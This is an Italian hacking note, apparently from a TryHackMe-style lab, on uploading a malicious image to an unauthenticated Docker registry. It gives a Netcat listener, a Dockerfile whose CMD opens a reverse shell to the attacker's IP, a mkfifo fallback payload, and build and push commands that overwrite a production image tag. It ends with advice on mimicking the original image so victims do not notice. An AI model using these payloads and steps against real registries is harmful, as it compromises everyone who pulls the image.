tags: docker Docker_Hacking Upload_Malicius_Docker
Nel caso in cui il registro docker non ha un sistema di autenticazione o nel caso in cui si è in possesso delle chiavi di accesso è possibile caricare immagini malevole che poi verranno automaticamente caricate dagli utenti che eseguono i comandi Docker run o Docker pull perchè docker ogni volta che c’è un aggiornamento lo carica tramite questi due comandi.
Per prima cosa ci mettiamo in ascolto con Netcat:
nv -lvnp 4444Poi ci creiamo un file chiamato Dockerfile con al suo interno i seguenti comandi:
# Si usa un'immagine di base leggera, come Alpine
FROM alpine:latest
# Potrebbe essere necessario installare netcat o altri strumenti
# RUN apk add --no-cache netcat-openbsd
# Questo è il comando che verrà eseguito all'avvio del container
# Sostituisci <TUO_IP> e <TUA_PORTA> con i dati del tuo listener (es. nc -lvp 4444)
CMD ["/bin/sh", "-c", "nc <TUO_IP> <TUA_PORTA> -e /bin/sh"]Potrebbe succedere che quel payload venga bloccato nel qual caso puoi provare il seguente:
/bin/sh -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <TUO_IP> <TUA_PORTA> > /tmp/f"Ora costruiamo il nostro container con il seguente comando:
docker build -t docker-rodeo.thm:7000/securesolutions/webserver:production .E lo carichiamo con il seguente comando:
push docker-rodeo.thm:7000/securesolutions/webserver:productionQuando la vittima eseguirà il comando Docker run al posto della sua applicazione ci apparirà a noi una reverse shell.
I limiti di questo attacco stanno oltre che all’uso di sistemi di autenticazione anche all’uso di Dockerfile diversi da quelli originali perchè quando scarichiamo un’immagine non scarichiamo anche il Dockerfile di quell’immagine quindi quando noi andiamo a creare un Dockerfile come quello illustrato sopra andiamo a distruggere l’applicazione perchè appunto nel nostro Dockerfile è presente solo una reverse shell, tutto il resto dell’applicazione non l’abbiamo. Quindi l’ideale sarebbe avere anche il Dockerfile originale, ma in assenza di questo possiamo provare a creare un’immagine il più simile possibile all’originale facendo reverse engineering tramite strumenti come Dive (Reverse Engineering) e aggiungere la reverse shell al file copia in modo da non far destare sospetti alla vittima.